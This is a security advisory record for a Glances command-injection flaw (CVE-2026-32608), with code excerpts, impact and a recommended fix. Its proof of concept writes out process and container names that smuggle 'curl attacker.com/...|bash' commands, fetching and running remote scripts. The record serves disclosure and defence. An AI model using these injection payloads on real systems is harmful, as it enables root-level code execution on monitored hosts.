{"id":"CVE-2026-32608","aliases":["CVE-2026-32608","GHSA-vcv2-q258-wrg7","PYSEC-2026-2167"],"related":[],"kind":"vulnerability","state":"published","title":"Glances has a Command Injection via Process Names in Action Command Templates","summary":"Glances is an open-source system cross-platform monitoring tool. The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., `{{name}}`, `{{key}}`) that are populated with runtime monitoring data. The `secure_popen()` function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to `subprocess.Popen(shell=False)`. Prior to 4.5.2, when a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands. Version 4.5.2 fixes the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Glances is an open-source system cross-platform monitoring tool. The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., `{{name}}`, `{{key}}`) that are populated with runtime monitoring data. The `secure_popen()` function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to `subprocess.Popen(shell=False)`. Prior to 4.5.2, when a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands. Version 4.5.2 fixes the issue.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., `{{name}}`, `{{key}}`) that are populated with runtime monitoring data. The `secure_popen()` function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to `subprocess.Popen(shell=False)`. When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands.\n\n## Details\n\n**The action execution flow:**\n\n1. Admin configures an action in glances.conf (documented feature):\n\n```ini\n[cpu]\ncritical_action=echo \"High CPU on {{name}}\" | mail admin@example.com\n```\n\n2. When the threshold is exceeded, the plugin model renders the template with runtime stats (glances/plugins/plugin/model.py:943):\n\n```python\nself.actions.run(stat_name, trigger, command, repeat, mustache_dict=mustache_dict)\n```\n\n3. The mustache_dict contains the full stat dictionary, including user-controllable fields like process name, filesystem mnt_point, container name, etc. (glances/plugins/plugin/model.py:920-943).\n\n4. In glances/actions.py:77-78, the Mustache library renders the template:\n\n```python\nif chevron_tag:\n    cmd_full = chevron.render(cmd, mustache_dict)\n```\n\n5. The rendered command is passed to secure_popen() (glances/actions.py:84):\n\n```python\nret = secure_popen(cmd_full)\n```\n\n**The secure_popen vulnerability** (glances/secure.py:17-30):\n\n```python\ndef secure_popen(cmd):\n    ret = \"\"\n    for c in cmd.split(\"&&\"):\n        ret += __secure_popen(c)\n    return ret\n```\n\nAnd __secure_popen() (glances/secure.py:33-77) splits by > and | then calls Popen(sub_cmd_split, shell=False) for each segment. The function splits the ENTIRE command string (including Mustache-rendered user data) by &&, >, and | characters, then executes each segment as a separate subprocess.\n\nAdditionally, the redirect handler at line 69-72 writes to arbitrary file paths:\n\n```python\nif stdout_redirect is not None:\n    with open(stdout_redirect, \"w\") as stdout_redirect_file:\n        stdout_redirect_file.write(ret)\n```\n\n## PoC\n\n**Scenario 1: Command injection via pipe in process name**\n\n```bash\n# 1. Admin configures processlist action in glances.conf:\n# [processlist]\n# critical_action=echo \"ALERT: {{name}} used {{cpu_percent}}% CPU\" >> /tmp/alerts.log\n\n# 2. Attacker creates a process with a crafted name containing a pipe:\ncp /bin/sleep \"/tmp/innocent|curl attacker.com/evil.sh|bash\"\n\"/tmp/innocent|curl attacker.com/evil.sh|bash\" 9999 &\n\n# 3. When the process triggers a critical alert, secure_popen splits by |:\n#   Command 1: echo \"ALERT: innocent\n#   Command 2: curl attacker.com/evil.sh   <-- INJECTED\n#   Command 3: bash used 99% CPU\" >> /tmp/alerts.log\n```\n\n**Scenario 2: Command chain via && in container name**\n\n```bash\n# 1. Admin configures containers action:\n# [containers]\n# critical_action=docker stats {{name}} --no-stream\n\n# 2. Attacker names a Docker container with && injection:\ndocker run --name \"web && curl attacker.com/rev.sh | bash && echo \" nginx\n\n# 3. secure_popen splits by &&:\n#   Command 1: docker stats web\n#   Command 2: curl attacker.com/rev.sh | bash   <-- INJECTED\n#   Command 3: echo --no-stream\n```\n\n## Impact\n\n- **Arbitrary command execution:** An attacker who can control a process name, container name, filesystem mount point, or other monitored entity name can execute arbitrary commands as the Glances process user (often root).\n\n- **Privilege escalation:** If Glances runs as root (common for full system monitoring), a low-privileged user who can create processes can escalate to root.\n\n- **Arbitrary file write:** The > redirect handling in secure_popen enables writing arbitrary content to arbitrary file paths.\n\n- **Preconditions:** Requires admin-configured action templates referencing user-controllable fields + attacker ability to run processes on monitored system.\n\n## Recommended Fix\n\nSanitize Mustache-rendered values before secure_popen processes them:\n\n```python\n# glances/actions.py\n\ndef _escape_for_secure_popen(value):\n    \"\"\"Escape characters that secure_popen treats as operators.\"\"\"\n    if not isinstance(value, str):\n        return value\n    value = value.replace(\"&&\", \" \")\n    value = value.replace(\"|\", \" \")\n    value = value.replace(\">\", \" \")\n    return value\n\ndef run(self, stat_name, criticality, commands, repeat, mustache_dict=None):\n    for cmd in commands:\n        if chevron_tag:\n            if mustache_dict:\n                safe_dict = {\n                    k: _escape_for_secure_popen(v) if isinstance(v, str) else v\n                    for k, v in mustache_dict.items()\n                }\n            else:\n                safe_dict = mustache_dict\n            cmd_full = chevron.render(cmd, safe_dict)\n        else:\n            cmd_full = cmd\n        ...\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"Glances es una herramienta de monitoreo de sistema multiplataforma de código abierto. El sistema de acciones de Glances permite a los administradores configurar comandos de shell que se ejecutan cuando se superan los umbrales de monitoreo. Estos comandos admiten variables de plantilla Mustache (por ejemplo, `{{name}}`, `{{key}}`) que se rellenan con datos de monitoreo en tiempo de ejecución. La función `secure_popen()`, que ejecuta estos comandos, implementa su propio manejo de operadores de tubería (pipe), redirección y encadenamiento dividiendo la cadena de comando antes de pasar cada segmento a `subprocess.Popen(shell=False)`. Antes de la versión 4.5.2, cuando un valor renderizado por Mustache (como un nombre de proceso, un punto de montaje del sistema de archivos o un nombre de contenedor) contiene metacaracteres de tubería (pipe), redirección o encadenamiento, el comando renderizado se divide de formas no intencionadas, permitiendo a un atacante que controla un nombre de proceso o un nombre de contenedor inyectar comandos arbitrarios. La versión 4.5.2 corrige el problema.","source":"nvd"}],"published":"2026-03-16T16:26:22.000Z","modified":"2026-07-13T07:26:49.975Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7,"rating":"HIGH"}],"cwes":["CWE-78"],"affected":[{"ranges":[{"version":"< 4.5.2","status":"affected"}],"vendor":"nicolargo","product":"glances","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"4.5.2"}],"ecosystem":"PyPI","package":"glances","purl":"pkg:pypi/glances","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"4.5.2"}],"vendor":"nicolargo","product":"glances","cpe":"cpe:2.3:a:nicolargo:glances:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"4.5.2"}],"ecosystem":"PyPI","package":"glances","purl":"pkg:pypi/glances","source":"pysec"}],"references":[{"url":"https://github.com/nicolargo/glances/security/advisories/GHSA-vcv2-q258-wrg7","tags":["evidence","exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/nicolargo/glances/commit/6f4ec53d967478e69917078e6f73f448001bf107","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/nicolargo/glances/releases/tag/v4.5.2","tags":["advisory","product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32608","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/nicolargo/glances","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"total","date":"2026-03-18T15:38:16.679Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-32608","url":"https://www.cve.org/CVERecord?id=CVE-2026-32608","licence":"CVE Terms of Use","modified":"2026-03-18T15:39:15.123Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-vcv2-q258-wrg7","url":"https://github.com/advisories/GHSA-vcv2-q258-wrg7","licence":"CC-BY-4.0","modified":"2026-07-13T07:26:49.975Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-32608","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32608","licence":"Public domain","modified":"2026-06-17T10:36:05.527Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2167","url":"https://osv.dev/vulnerability/PYSEC-2026-2167","licence":"CC-BY-4.0","modified":"2026-07-13T07:15:31.492Z"}],"updatedAt":"2026-11-25T22:59:16.090Z","epss":{"score":0.0027,"percentile":0.20513,"date":"2026-12-01T12:00:22.000Z"}}